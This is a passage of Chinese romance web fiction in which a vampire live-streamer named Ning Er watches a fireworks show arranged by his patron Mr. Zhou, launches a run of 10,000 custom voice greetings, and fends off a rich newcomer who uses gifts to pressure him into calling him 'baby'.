金色的星星像童话里的一样在空中闪烁跳动。紧接着又有红色、橙色、黄色、紫色、绿色、彩色的星星出现…… 火光变幻倒映在少年的眼眸中,宁尔屏住呼吸,等看饱了一场七彩星星烟火秀时候,宁尔才猛地意识到。 声音。 烟花绽放的声音,是同时从手机里传来的。 “哥哥,你在这里……” 他下意识转了个圈左顾右看找人,周围根本不像有人的样子,直到看宁尔好像有点着急了,舟先生才开口: “右前方,亮灯的那座小楼二楼。” 宁尔顺着他说的地方抬起头,那座楼很远,根本看不到人脸,落地窗后,宁尔只能看到一个宽肩窄腰、双腿修长笔直的轮廓剪影。 影子似乎举着手机朝他挥了挥手。 宁尔也傻傻地学着样子拿着手机冲他挥了挥。 刚刚的悸动还没过去,宁尔感觉自己的心跳仿佛漏了一拍。 “哥哥……” “放心,这个距离我看不到你的样子。” “……” 宁尔一时间有些失神,这是他第二次离舟先生,这么近。 “这些烟花星星,都是哥哥、专门给我准备的吗?” “确实有些仓促。不够好看。” “不”宁尔抢白:“很好看,很好看了。” “这是我从小到大看到的,最美的一场烟花。” 血族畏火,当然也没有烟花。以前只是在视频里看到过人类世界的烟花。 这是他鬼生看到的第一场、也是最漂亮的一场,只属于自己一个鬼的烟花。 温柔的江风吹在脸上,烟花的最后的光芒如同碎月般揉进江中,宁尔朝向远处舟先生的剪影,心中有一种说不出的感觉。 刚才的真心痛哭,看到烟花的惊喜,还有漫天“繁星”想起的家,复杂的感情让宁尔鼻子又有些发酸。 哭包。 “哥哥,都是星星吗?” 他问的是烟花。 舟先生似乎愣了一下:“嗯?” 小耳朵语气故作失落:“哦……我还以为会有小鸡、小鸭、小兔子,我看到人家的烟花都是各种各样的。” “今天只有星星。” “想看那些的话,明天让司机带你去动物园。” 宁尔知道舟先生又在逗他了,噗嗤笑了一声: “哥哥,你会魔法么?” 舟先生的声音从电话里温柔传来: “嗯,会。” 宁尔:“这场烟花对我来说,好惊喜。从来没有猜过、想过。” 电话对面静了静:“我也一样。我也从来没有想过,有一天自己会做出这样的事。” 傅宴舟隔着落地窗,看着江边那盏微弱灯光下的一个小白点。 白色的衣服和黑色的影子交错,缓步前后走动像一只气球。 少年的呼吸声从耳机里清晰传来,傅宴舟心跳慢了一拍,手指不断摩挲在口袋里的车钥匙上。 宁尔看到舟先生的剪影站在落地窗前久久不动,直到他和自己一样,也在往这边看,不由地脸上发热,稍微转过去一点: “哥哥,我好想家啊。” “是因为星星么?” “嗯。我的家乡有很多很多星星,真的星星,每天晚上都很亮,有几颗很调皮,好像会跳动躲闪一样。” 高原或者山区通常污染较少,云层稀薄,繁星明亮。 “小耳朵想回家么?” “想。”宁尔隔着屏幕点了点头。 “哪怕……哪怕爸爸妈妈不要我了,哪怕他们可能已经把我遗忘了,或者觉得我……死了,我还是想回去看看……” 他还是想回去看看,甚至冒险亲口问问。 而不是像当初那样,胆小地落荒而逃。 家庭对于一个没怎么上过学、年龄不成熟的少年重如万钧,觉得自己跑出来是无法原谅、或者不能回头的大事。 更何况还经历了知道自己不是亲生孩子的打击与伤痛。 “我送你回家看看吧。” 傅宴舟的语气轻描淡写。 上天下地,北欧南非,不管小耳朵的家在哪儿,不管曾经的原生家庭对他有过什么伤害,只要他送他,没有回不去的地方。 “谢谢你,舟先生,但是不用了。”小耳朵忽然轻轻地叹了口气。 “为什么?” “因为……因为这件事,这个世界上,只有傅宴舟总裁可以做到。” “只有傅宴舟先生,能让我回家。” “……” 傅宴舟沉默了一会儿,过往这么久的相处中,他并不认为小耳朵有什么精神类幻想疾病: “所以,你一直说想认识傅宴舟,就是因为这个?” 宁尔看着抬头,看着这片重归浓墨的天空: “是。” 他的声音很轻,却又很笃定。甚至在笃定中透着一种从未有过的严肃意味。 傅宴舟轻轻吸了口气: “那你能告诉我,你的家在哪儿么?也许,我也能做到?” 小耳朵没有直接回答,而是看着那道剪影,想象着舟先生此刻可能正蹙着眉: “哥哥,你会忘记我吗?我是说,如果有一天我不直播了,也不在A市了,再也不做你的虚拟恋人了,你会想我吗?” 舟先生在电话那边沉默了很久,没有回答。 不回答宁尔也知道答案。 一定会。 反正他自己会。 如果有一天他真的有幸认识傅宴舟总裁了,借到蓝宝石顺利回到吸血鬼的世界,他也会记得舟先生的。 也会记得,今天这场“满天繁星”的烟花。 舟先生并不知道他是吸血鬼,也不知道他口中的“回家”意味着永久的分开。 所以,宁尔不能告诉他,也没办法告诉他。 “哥哥,对不起,我不能告诉你。” “我有些没听清,你再说一次。” “哥哥,我,绝对不能告诉你。” 舟先生几乎是气笑了: “可以告诉傅宴舟,但绝对不能告诉我?” “嗯。”宁尔硬着脖子回答。 舟先生一时间没有回答,宁尔不想再谈论这个话题,他正想说点别的,忽然感觉身后好像有亮光,他下意识回头,整个人呆在了原地。 本来浓黑的天空此刻忽然出现了点点繁星,每颗都泛着幽微的银色。 起初只是零星几粒,但很快,越来越多的星光从夜幕深处浮现,点点银色微光并没有高悬遥远,而是压得那么低,仿佛近在咫尺,能穿透皮肤,直接映进心底。 宁尔似乎都看到了最近的那几颗在银光下跳动、闪烁,就像从前经常看到的那样。 宁尔怀疑是不是自己眼花了,用两只手使劲揉了揉眼睛,浑然不觉自己甚至一直惊讶到屏住了呼吸。 似乎感受到了他的惊讶,舟先生在电话里解释: “这个魔法需要点时间,所以只能先让你看了一场烟花。” 原来,舟先生临时准备的星星都不止一种。 头顶如同整片星河流动,宁尔移不开眼睛,本来恢复速度的心跳一下一下重新燃起来,跳得那么快、那么急。 他看着小楼里那个剪影,刚刚对舟先生生硬的拒绝变成了一种格外的愧疚,星光把江面照得发光发亮,唯独在舟先生那里是黑色的剪影。 宁尔脑子里忽然有一种控制不住的想法。 他忽然,很想见舟先生。 他的脚步往前移动了一步,呼吸变得急促。 从他到那栋小楼的距离,他跑过去大概只需要三十秒。 只需要三十秒,他就能见到那个男人。 宁尔的胸膛因为呼吸剧烈起伏,他舔了舔嘴唇,声音轻颤着: “哥哥,我们要不要打个赌。” “什么?” “赌我在三十秒之内,可以出现在你现在的房子前。” “你离我现在的位置将近一公里,江边多破路……” “如果我赢了,我们会见面吗?” 电话那边沉默了一会儿,紧接着宁尔就看到那二层小楼的灯陡然熄灭,剪影一瞬间随之消失在了黑暗里。 “时间不早了,司机会在三十秒内接你回家。”—— 作者有话说: [摸头][摸头][摸头] 30-40 第31章 第10000条愿望祝福…… 房子里的灯光没有再亮起, 宁尔看不到那道影子是否离开了。 身后车辆引擎声传来,电话悄无声息挂断,司机下车, 恭敬地打开车门。 他说过不见面就不见面。 舟先生, 好像有点太尊重他、太好了…… 宁尔伸手摸了摸鼻子, 心里有种奇怪的空落落的感觉。 宁尔抬头,再次深深看了看这片凭空出现的星空, 才舍得低头钻进车子里。 舟先生, 小吸血鬼永远不会忘记- 晚饭时候靳伟难得回了出租屋, 还特意买了一个小蛋糕。 宁尔过去的时候靳伟正在厨房热火朝天炒菜颠勺, 宁尔被呛得“咳咳咳咳咳”几声, 靳伟嫌他碍事,把人推出去, 丢给他一大袋薯片: “你先自己玩会儿。” 宁尔拿起来薯片一看,是他最爱的鸭血粉丝汤味儿! “谢谢伟哥~谢谢伟哥送来的大薯片~” “伟伟哥哥就是牛,家财万贯富流油~” 靳伟眉头抽动了一下,职业病了这小子。 “要不以后你叫我哥哥吧?”靳伟难得允许他叫这种有点肉麻别扭的称呼,哪知道宁尔头摇得拨浪鼓一样: “不行。” 靳伟:“?” “我已经有哥哥了。不能再叫别人哥哥。” 宁尔说得是舟先生。 靳伟冷笑了一声: “那个哥哥能给你买零食吃?” 当然喽。 宁尔点点头。 “那个哥哥能给你找地方住?” 当然喽。 宁尔又点点头。 “既然他能做的我也都能, 为什么我不是哥哥?” “……” 呃。 宁尔认真想了想靳伟这个问题,努力想他和舟先生除了金钱方面的区别,忽然眼睛一亮: “哥哥看过我的身体,你没有。” 靳伟:“……靠。” “陈元之,你他么每天都教他些什么东西?”靳伟压着声朝卧室骂。 元之把耳机挂在脖子上, 揉着鸡窝头从房间里走出来: “冤枉啊伟哥, 这个我没教过啊。” “小耳朵,你怎么能干这样的事儿呢?怎么看的能不能教教哥?” 靳伟懒得和他皮,菜炒好出锅, 宁尔主动去帮忙端饭拿碗筷,三菜一汤色香味俱全。 靳伟耐心地解开那个蛋糕盒子,露出来里面软绵绵的奶油蛋糕,三个人把出租屋的破沙发椅子在小木桌周围拼了拼,宁尔选了完全背光的窗帘后坐下,和元之一起期待地看着靳伟。 靳伟能破天荒买个“蛋糕”这种小孩吃的东西,甚至弄出点仪式感,这么反常肯定是有事儿。 果然,吃了几口菜之后靳伟放下筷子: “有个好消息宣布一下。” “朱总升职到盛景总部了,以后我也去盛景集团总部给他开车。” 宁尔手里的薯片儿咔地一声碎了。 紧接着他和元之就啪啪啪啪啪一起鼓掌。 靳伟抬手示意低调,似乎猜到宁尔要问什么,靳伟直接告诉他: “打住,进了盛景总部也不代表我能见到傅总或者和他说上话啊。” “只不过,反正这辈子肯定有机会能见上他了吧。” 靳伟心里也有点暗暗地纳闷,好像自从宁尔做了那个蓝宝石的白日梦,妄想认识“傅宴舟”之后,像他这样的人,竟然有一天真的阴差阳错能和这样的人物有那么有一点关系。 宁尔把手都快拍红了,看着靳伟,心跳忐忑地加快了些。 他的生活,好像离傅宴舟总裁又近了一些。 见到他的可能性,又大了一点。 那这不就是意味着,他离回家的一天更近了一点。 这么大的好消息,陈元之干脆直接去冰箱里拿了三罐冰啤酒出来,炎热的夏日风扇呼呼响转,宁尔喝了一口冰啤酒,冰冰凉凉的汽水感美味又过瘾。 陈元之要给靳伟打开,靳伟直接拦住他: “戒了。” 陈元之瞪大眼睛:“六百六十六,和哥们儿都演起来了啊?” 靳伟皱起眉: “没开玩笑。朱总随时有可能用车,我一个开车的喝酒就完了。” “朱总对我挺好的,我也不想丢了这份工作。” 靳伟说完拿起可乐故意仰高脑袋大大地喝了一口,让人看不到表情。 陈元之朝宁尔使了使眼色: “这盛景真牛逼啊,这才干了多久,就能让咱伟哥从良了。” “滚滚滚。” 靳伟懒得搭理他。 一个天天做主播骗钱有上顿没下顿,一个没有身份证天天幻想自己是吸血鬼白天不出门。他再不珍惜这份工作三个人不知道哪天又得一起喝西北风了。 陈元之把啤酒放下: “我也宣布一个好消息啊,我的富婆大姐没被撬走,不仅回来了,还约我奔现了。” 宁尔睁大眼睛,还真的像元之说得一样,也太厉害了! 靳伟冷笑了一声:“你以为你长宁尔这样啊?奔现对你来说算好消息?” 陈元之:“切,一万个人里有一个能长成宁尔这样就不容易了。又不是人人都看脸。我给大姐发过照片了,人家也夸我帅呢。” 宁尔也觉得,陈元之的确是阳光干净的小帅男孩了。 “元之,那你答应她见面了吗?”宁尔问。 陈元之轻轻皱了皱眉: “答应了吧。不过没定时间,再往后拖拖,这段时间再爆点金币。” “万一见光死了还能最后捞一笔喽。” “哦……” “那如果没有见光死呢?” “……”陈元之好像呛了一下,咳嗽了几声,不自在地看了看靳伟的脸色: “小屁孩别乱问。” “元之,你就告诉我吧。” “哎呀,奔现奔现,没见光死就是在一起谈恋爱呗。” “我这个大姐还不是A市人,她为了见我奔现得开好几个小时车从外省来呢。” 靳伟没有鼓掌,宁尔偷看了一眼靳伟的脸色也没敢鼓,只能小声道: “提、提前祝福你顺利元之。” 陈元之摆摆手,端起啤酒: “来来来,祝咱哥仨都有光明美好的未来。早日从这破房子里搬出去。”- 晚上宁尔上播,很多观众一开播就问他昨天那个玥玥宝后来怎么样了。 宁尔告诉粉丝们,玥玥宝私聊了他,给他讲了很多关于他们曾经的故事。 宁尔把元之告诉他的那句话又告诉了粉丝们: “宝们,比起死亡,遗忘也许才是终点。这十年玥玥宝一直记得他,现在这段感情又被我们语音房一万、一万一、一万三千多人知道了,我们也都会记得的。” [说得太好了宝宝] [这才是最正义的一集] [听得我哈特软软的] [感觉玥玥宝要成小耳朵的忠实粉丝了] [哈哈哈别把咱耳宝当成替声了吧] [真·替声] “不会的不会的”宁尔补充道: “我已经和玥玥宝说好了,会模仿小哥哥的语气,把曾经给她写的情书都读一遍录在手机里。这样她就可以一直听他曾经写过的信啦。” [wowowo谁酸了我不说] [你才是男菩萨吧小耳朵] [所有的信那肯定也太多了吧] [给咱小耳朵干成声优了] [春风不是小耳朵暂时不接定制语音吗?这个也算定制了吧?] “除此之外”小耳朵的声音又在麦上响起,他故意停顿了一下卖了个关子才道: “之前你们说的那个定制语音我学会啦,我决定,开始给大家录制定制语音!” 这个消息一宣布评论区立马都刷屏了,这个决定显然都没和春风商量过,春风直接开麦: “你说什么小耳朵?” “是的春风哥。其实之前我没有同意,除了不太会怕搞砸之外,还怕其实根本没有很多宝需要,毕竟我只是一个平凡的主播小耳朵。” “可自从昨天昨天遇到玥玥宝之后,我忽然发现,哪怕我再平凡,如果大家想要,我的声音好像还有一些意义。我在这里,好像还有一些作用。” [太有意义了耳宝] [你每天在语音房聊天就有意义的宝!] [举手/举手/举手/举手] [多少米多少米,说个价格让我死心] “价格的话……”宁尔在麦里思考着。 “你要是敢说不要钱我现在就把你踢出去。”春风冷冷的威胁声音在麦里响起。 [哈哈哈哈春风哥急了急了] [哈哈哈小耳朵别怕,春风踢自己也不敢踢你的。] [牛逼是前一秒吹的,歉是后一秒道的] 宁尔点开礼物列表,很快发现有一个9毛9,四舍五入一块钱的礼物,是一颗小星星。 “价格是每人一颗星星。” 小耳朵很干脆。 “星星?你没说错吧小祖宗?是不是想说星舰?”春风在麦里问。 “没有说错,就是星星。” 这不纯纯来做慈善了嘛。 春风没管评论区的刷屏,继续问: “那、那人数呢?揪几个?” “人数嘛……宝们,如果我录得有些慢,你们可以等等我吗?” [等等等等] [包等得啊!] [一块钱还要什么自行车?我直接等一辈子] [我直接等到当奶奶了,把机会继承给我孙子] [哈哈哈哈少年音爆改少爷音是吧?] 宁尔看着评论区的回答,忍不住眯着眼睛笑了出来。 “我说一个数,春风哥你帮我记着。” 春风:“不是小耳朵,你今天喝了啊?” 小耳朵:“喝了一点啤酒,没关系春风哥,我不开车。” 春风:“……” 春风:“不是小耳朵小耳朵你别冲动,你先和哥偷偷说一下商量一下啊……” 小耳朵:“9999!” 春风:“夺少???” “九千九百九十九个!揪九千九百九十九个宝宝,录九千九百九十九个祝福!” [!!!] [小耳朵泥!] [本来还担心能不能抢到,现在觉得这都抢不到我太无能了] [来吧决战吧语音房的三万人] [不是,小耳朵你真的行吗?录定制很累的。] [是的是的,我以前兼职话务员一天嘴都累麻了] [难怪问我们能不能等……] [真诚这一块/.] 宁尔看着评论区对自己的担心,扬了扬嘴角: “放心吧宝们,我可以的。” 吸血鬼的精力比人类好太多了,他甚至连每天吃饭的时间都不需要。 小耳朵有的是本事。 听到小耳朵再三确认说没问题,评论区几乎直接开抢了。 [小耳朵揪我啊我第一天就关注你了] [虽然是第一次来不认识小耳朵,但你们都要那我也要吧,感觉以后会是大网红] [小耳朵眼熟我啊!!真的好想要一个考试祝福啊] [我也想说,耳宝的声音和我玩的一款日语乙游cv声音很像啊,能许愿一个日语版吗] [那我想要法语版] [韩语韩语的抓耳感谁懂] [意大利语意大利语,谁留子一点儿念想] [哈哈哈你们把小耳朵当立本人整啊] 她们一言一语宁尔也分不清哪句是开玩笑了,他拜托春风哥帮忙建一个粉丝群揪人进去,他之后会一个一个私聊录制内容。 春风哥好像被他气得没话说了,宁尔只能在麦上和他努力和他撒娇,他才勉强答应建了一个群。 春风哥不语,只一味地拉人。 宁尔担心这个消息只有今天语音房里的粉丝看到不够公平,于是又发了一条缘小圈来宣布这个消息。 很快,报名进群的人立马飞速增加。 [不行啊,怎么有种抢不到的危机感了呢] [谁刚刚还嫌多呢] [确实啊确实,9999好像也不多了] [干脆凑个整10000个吧小耳朵] [哈哈哈哈好像多那一个就刚好能抢到一样] [哈哈哈万一呢万一呢] [10000吧小耳朵整数多好听] 宁尔看着评论区打开麦: “其实我自己也喜欢整数,也打算录制10000条的。” “不过,我自己先占掉了一个名额。” “那第10000条愿望祝福,是留给舟先生的。”—— 作者有话说: 撩人如呼吸一样简单这一块/. 第32章 你也叫我宝宝吧,小耳朵…… [啊啊啊啊我听到了什么] [甜得我要踢正步到拉萨了] [kswl kswl kswl] [爱磕cp的小女孩幸福晕了] [小耳朵的嘴能不能借我去和上司表个白啊] [???和上司表白姐妹你是不是被工作pua疯了?] [粥哥:王妈, 今天不吃晚饭了,直接喝两瓶胰岛素] [哈哈哈哈哈] [srds,小耳朵, 那种程度有钱人是不需要愿望的] [哈哈哈是的, 粥哥实现愿望的速度可能比你录语音的速度都快] [真的, 有钱人的愿望最多叫计划] [太真实了,一个亿对他们来说也是小目标] [不过粥哥的愿望不可能和金钱有关吧?不至于吧] [楼上, 你就说有钱什么愿望实现不了吧?] [nsdd] 宁尔看着五颜六色的评论, 舟先生今天应该在语音房, 不过现在语音的初始人数非常多, 舟先生和大家一起进来, 特效都混在了一起。 右上角今天的礼物榜前三都是别的粉丝,也看不出来舟先生在不在。 不在也没关系。 不在宁尔也会私聊告诉舟先生的。 宁尔本来是这么想的, 但是现在看着评论区清一色的“有钱人是没有愿望的”,一时间觉得自己的行为是不是有点太幼稚了…… 舟先生都能在阴天的江面上给他变出来星星,他会有什么愿望呢…… 亲亲小耳朵:“宝们,你们说的是真的吗?” 宁尔在麦上有些犹豫小心地问。 [哈哈哈哈别说了,都给小耳朵整不自信了] [没关系的宝宝!你就是粥哥最大的愿望呗!] [不管粥哥有没有愿望, 他听到你这句话就值了] [素嘟素嘟,金子银子不如你这个小傻子~] [哈哈哈哈你们给粥哥说爽了又要发红包了] 宁尔脸有些红,他明明是认真的发光发热做一些事,在粉丝观众眼里却变成了和舟先生调情。 弱小的时候,连生气都是可爱的。 他正要说什么, 整个屏幕忽然被一道炫酷豪气的特效遮住了, 足足霸屏十秒钟,才渐渐浮现出系统提示: “乘风破浪驾驶着星舰来到了语音房” 宁尔第一次见这个出场方式的特效,也愣了一下, 评论区更是停滞了一下,然后立马有人反应过来: [这是传说中的浪哥吗?] [我靠!浪哥本哥] [浪哥竟然下凡了] [谁把浪哥吸引来的?小耳朵吗?] [啊啊啊啊啊前排合影] 浪哥是谁? 没等宁尔问,评论区已经在帮浪哥自我介绍上了。 宁尔拼凑了一下这个人的信息,浪哥,ID乘风破浪。整个缘来app观众砸钱榜上常年top3的用户,几乎是开服玩家,财力深不可测。 他所在的语音房都是付费进的,只要想进去听一会儿就得给砸上千块的礼物给主播们。今年浪哥都懒得动了,直接找了个熟人房主弄了一个专属房,他不动,主播动。 凡是他看上的主播不管大小,有脾气倔的一开始都坚持只在自己房里播,最后不知道浪哥砸了多少礼物,都乖乖去他的语音房,播一段时间浪哥听腻了再换人。 反正横竖都是赚钱,根本没有任何损失。 如果说银耳粥的砸钱速度是语音房的New money,那浪哥绝对是old money。 而且听说浪哥也喜欢发现金福袋。 果然,还没等宁尔看完,浪哥一万块的现金福袋已经接连出现在了左上角。 [妈耶耶耶耶,第二次见到现金福袋了] [我要把这个语音房供起来] [浪哥是来挖人的吗?] [哈哈哈哈不会是听说了小耳朵吧?] [小耳朵都霸榜新星榜top1一个多月了,知道他很正常啊] [哇哇哇小耳朵要进浪哥的房了吗] [呜呜呜以后听小耳朵是不是要付费了呀] [也不一定,万一浪哥瞎了眼看上春风哥了呢] [浪哥有麦吗?好奇浪哥的声音] 他发了福袋,砸了上麦礼物,又点了小耳朵,宁尔虽然完全不了解这个人,但还是按例把他抬上了麦。 “哇,好多人啊。”乘风破浪很利落地打开了麦。 [好年轻的声音啊!] [竟然不是中老登!!] [这不是男大吗?浪哥这么年轻的吗?] [这么年轻就这么有财吗?我酸柠檬啊酸柠檬] “什么老登啊,正儿八经男大。” 男大? 宁尔倒是听不出来是不是学生,只是觉得他声音的确很年轻。 至少,比舟先生年轻。 “浪哥你好,这里是小耳朵~关注耳朵,欢乐多多~” 浪哥在麦里笑了笑: “关注就不用了。我正在房里,听他们说有主播出了10000条定制语音条,每条一颗星星,好奇来看看什么人才。” [哈哈哈这事儿传这么快吗?] [我的妈耶耳宝好像直接又涨了一万粉] [就是我们亲亲小耳朵呀] [关注就不用了……不是大哥你说话是真直啊] [其实那句话也是咱小耳朵的惯口哈~] 宁尔点开自己的头像看了一下,好像确实这件事蹭蹭蹭涨了好多粉。 “浪哥你好,我先给你试个音吧” 宁尔简单地试了一下音,扒拉着看他送的贵重上麦礼: “浪哥你要我表演什么才艺吗~” “不太熟,你会什么啊?搞点特别的啊,拿手绝活。” 浪哥阅人无数,普通才艺根本提不起兴趣。 “对了,你怎么也和观众一眼叫我浪哥啊?平时怎么叫大哥大姐啊?” 乘风破浪的语气里倒是没有故意为难或者调侃的意思,可能只是没见过这么生硬的主播,真情实感在疑惑。 “我、平时就这么叫……” “什么?” “女生叫宝,男生叫哥。”宁尔诚实回答。 “如果你不喜欢听浪哥这个称呼的话,我还可以叫你浪弟。” 乘风破浪:“……你干脆叫我浪子呗?” [哈哈哈哈哈] [浪哥原来也有点小幽默在身上的吗] [哈哈哈哈浪哥我作证,小耳朵就是这样的。] [作证+10086,小耳朵连粥哥都只叫过粥哥、粥先生] “粥哥又是谁?他的榜一吗?” 浪哥估计是翻了翻小耳朵的观众排行榜,看到了那个“倾情守护”银耳粥,嘟囔了一句:“跑车啊”。 亲亲小耳朵接过才艺的话,认真介绍: “浪哥我会唱歌、模仿前男友、温柔哄睡、夸夸、讲鬼故事。” “不过先说好了,唱歌的才艺费不支持退款哦~” 浪哥像是实在忍不住噗嗤一声笑了出来: “你还挺可爱的啊。” [对吧对吧] [算你有眼光浪哥] [恭喜你发现宝藏男孩了] [我们耳宝别的不行,可爱第一名] [嗯嗯嗯?男人不能说不行!] “行吧,那你先唱首歌吧。” 这个还挺好说话的,浪人类。 宁尔打开歌词本,扒拉扒拉,把麦拿到嘴边: “大河向东流呀,天上的星星参北斗啊~” “哦吼哦吼哦吼吼~” “说走咱就走哇,你有我有全都有哇~” “嘿嘿,全都有哇” “路见不平一声吼哇,该出手时就出手哇~” 宁尔0帧起手,在众人都没反应过时候已经唱完了一首歌,平等地用魔法把每一个人攻击地措手不及。 他用稚嫩轻柔的声音唱着最豪迈的调子,中间的语气词嘿嘿吼吼的每一个都不含糊,丝毫不维护一个呆萌少年的形象。 [哈哈哈哈哈我服了我真服了] [小耳朵你不怕收律师函吗] [有生之年能听这个声音的好汉歌也是值了] [玥玥宝如果现在在的话听了又要哭了……] [等等,我记得之前小耳朵第一次唱歌,粥哥在直播间的时候,唱的是恋爱频率,今天浪哥来,唱得是好汉歌] [哈哈哈哈哈你品你细品] [这也能被我们磕到啊] [浪哥实惨,下次记得直接点歌名吧] [浪哥学猫叫听多了出来换换口味也挺好的] “浪哥,我表演完啦。感谢喜欢,我抬你下麦~” 他的时间到了,宁尔正要抬人下去,屏幕上就出现了一个大特效: “别急,我继续点你聊天。” 乘风破浪为亲亲小耳朵送出嘉年华x10。 [我去!十个华子!] [这就是top级大哥的魅力吗?] [见面礼都直接三万三万刷吗?真的见识到了……] [不敢想浪哥自己的语音房里主播有多赚] [感觉浪哥真的是来挖人的,小耳朵好好表现吖] 宁尔看着这些突如其来的嘉年华,虽然刚刚从评论区里知道他会刷礼物,但心里还是有些犯嘀咕,认真地感谢了礼物之后问: “浪哥不用这么破费啦,普通聊天不用这么多礼物的~小耳朵有点不好意思啦~” 乘风破浪为亲亲小耳朵送出嘉年华x10。 又是三万。 “我觉得用就用啊。别这么客气小耳朵。” 一句话炸一波大额礼物,眼花缭乱的特效,评论区和同房主播的吹捧羡慕,恰到好处的分寸感,隔着屏幕看不到脸的神秘遐想。 只要不直接开句油腻黄腔基本都没什么问题。 这套流程乘风太熟悉了。 100个主播里有101个扛不住。 “谢谢浪哥又送来的嘉年华,你、你想聊什么呀?” 宁尔心里莫名有些忐忑。 这个礼物对他这种小语音房里算是大额了。 虽然和粥哥的66万比也不算什么。 宁尔也不知道为什么,当时收舟先生的礼物时候,虽然也有惊喜忐忑,但没有像这样不安。 “谢谢哥哥、哥哥对我最好了、舟先生是小耳朵永远的哥哥”这些感谢话术他张口就来,今天面对浪哥他却怎么也不好意思那样说。 尤其是现在舟先生可能也在语音房。 有种……有种背着、不对、当着舟先生的面找男人的感觉…… “聊什么无所谓,不重要。” “那、那什么重要呢?还想听歌吗浪哥?”宁尔又开始翻歌词本了。 “停停停。”浪哥赶紧叫停。 “聊什么不重要,重要的是和谁聊,什么称呼。” “其他主播都叫我宝宝,你也叫我宝宝吧,小耳朵?”—— 作者有话说: 傅宴舟提刀赶来。 第33章 宝宝,我赢了…… [哇哇哇哇浪哥这样玩是吧] [还得是老手啊] [吓到我们耳宝了哈哈哈哈] [别了别了浪哥, 人家小耳朵连自己榜一还没叫过呢] [怎么闻到了修罗场的味道了呢] [粥哥在!我划了3万个观众列表终于找粥哥了!] [更刺激了……] 宁尔听到浪哥的要求,很果断的拒绝: “对不起浪哥,我、真的不能叫你这个。” 在宁尔心里, 宝宝是一个很特别的暧昧称呼。 尤其男孩子叫男孩子。 语音房的观众很多叫他宝宝, 是把他当云养崽崽, 电子主播。宁尔也从没有单独称呼过某个女生“宝宝”,都是xx宝。 只有玥玥的前男友给她写的情书里叫过宝宝。 也只有那种关系才能叫。 就连、就连舟先生也只让他叫过哥哥。 “害, 别那么严肃嘛, 什么真的假的。” 乘风破浪为亲亲小耳朵送了嘉年华x20。 又是6万! “现在能真了吗?” 他进来不到十分钟, 前前后后已经给宁尔刷了近乎二十万了。 不儿, 不儿。 虽然但是, 虽然浪哥出手足够大方,是难得一见的超壕大哥, 可他却一直都在点小耳朵做什么,甚至是有点儿用钱砸他逼他做的感觉。 这种感觉,有点儿怪怪的。 不过仔细想想,语音房直播本来就是送礼物触发互动的,这个浪哥送的早就足够了, 有点要求也正常。可为什么感觉有点别扭呢。 一定是被粥哥惯坏了。 粥哥每次送礼物,要么帮小耳朵解围,要么给观众发福袋,沉默不语,从不用礼物和小耳朵交换什么。 这虽然不对, 但这确实好磕。 “浪哥, 如果你只是这个要求的话就不要砸礼物啦。这个平台要扣一半的,如果我做不到你想退钱,我只能退一半给你啦。” 宁尔像哄小孩一样认真劝告这个突然的大哥。 “真服了, 小耳朵,你现在出去打听打听,我刷礼物什么时候要退过钱?我今天就是单纯好奇你,专门来看看。你还挺可爱的,很独特,我喜欢和你聊天。其他主播都是故意装可爱,很烦的。” [我的妈呀,还得是年轻啊] [森么意思楼上?说谁老?] [哈哈哈哈哈年轻他长嘴啊!他敢说啊!] [这种话术谁不会啊?和每个主播都这么说吧……] [不不不浪哥不至于,他很挑的] [十分钟比粥哥一个月表达得都多哈哈哈哈] [@银耳粥来不来管管呢] [@银耳粥粥哥别窥屏了啊小耳朵要被挖墙脚啊] 宁尔挠挠头,皱着眉客气道:“谢谢浪哥的喜欢啊。” “这才对嘛。你说吧,多少礼物能叫我一声宝宝?十万?二十万?三十万?” [我的妈呀,我认字就是为了看懂这些吗?] [浪哥是有什么癖好吗?宝宝这么好听的吗?] [有钱人的世界咱不懂。] [我叫可以吗?我也是少年音,50就行。] 春风看小耳朵没说话,打开麦帮他解围: “那什么,浪哥,小耳朵他的确不擅长这个,他就是唱唱歌讲讲鬼故事,你就……哎不是浪哥你怎么还给我砸礼物……” “哎哎别砸了浪哥……不对,宝宝,宝宝别砸了……” “不是,宝宝,不是,小耳朵,为了整个语音房兄弟们的幸福,要不考虑考虑?” 浪哥深谙房主的重要性,哗哗哗礼物打得春风话说出去,但话又说出来。 三言两语间从帮小耳朵拒绝变成怕小耳朵不接受。 [哈哈哈哈春风我真服你了] [春风哥爱财人设太稳了] [春风哥从不会塌房,因为本就是一片废墟] [擒贼先擒王吗这是哈哈哈哈] “真的吗春风哥……” 宁尔也有点犹豫了。 他虽然一开始是坚定不想叫的,但看满屏飘着的“宝宝宝宝”,还有春风哥他们都已经替他示范叫过了,忽然又觉得这个称呼是不是也不能代表什么…… 况且还有那么多钱可以赚。 反正,他怕鬼也在墓园做过保安,数学不好也在菜市场数过鸭子。 没什么原则的,尔。 “真的。其实吧,宝宝在语音房里就相当于某宝客服的亲,没啥别的意思。小耳朵,你是不是怕粥哥在意啊?我觉得粥哥不会在意……” 银耳粥:[不会什么?] 前缀足够长,一句发言就在评论区脱颖而出。 舟先生! 宁尔眼睛一亮,仿佛看到了救星,心里那点莫名其妙的愧疚感一扫而光。如果舟先生不在意的话,那他也可以叫的。 春风:“不会、不会……” 春风扯不下去了,把后面的话咽回嗓子眼里。 “这就是你们说得榜一吗?” 乘风破浪看到那个“倾情守护”的标识,语气客气了一点。 当着一个榜一大哥的面儿撩人家的主播,虽然听起来有点儿刺激,但在语音房也并不少见。 和主播互动走的是心是感情,和主播后的榜一大哥pk走的是钱包是银行流水。 银耳粥:[嗯。有什么问题么?] “好严肃啊。”乘风破浪小声嘟囔了一句。 这个银耳粥,从头像到ID到账号隐私设置都看不出来一点儿娱乐性质,感觉像是那种会把夜聊软件挂在平板上一旁电脑开内部会议的古板总裁…… 就像、就像他爸。 乘风破浪莫名打了个哆嗦。 “我是没什么问题啊,是他们一直cue你,可能怕榜一大哥不同意?我说怎么可能呢,大家都是出来玩的,有的大哥巴不得自己守护的主播火,和追星似的。” 银耳粥:[嗯,不同意。]??? 粥老板,就这么水灵灵简单拒绝了? 浪哥说了这么一大堆,粥老板就听到不同意三个字? 不是,一百万的榜一而已。 “为什么?”乘风破浪也直接问。 傅宴舟坐在书房,看着手机里那一大段来自春风与你皆过客的私信。 [粥哥粥哥,我也不知道这个浪哥是怎么回事儿,可能真是看到小耳朵涨粉快空降的。我知道你可能会有点吃醋,哪个榜一大哥看到自己守护的主播有新大哥都不好受。] 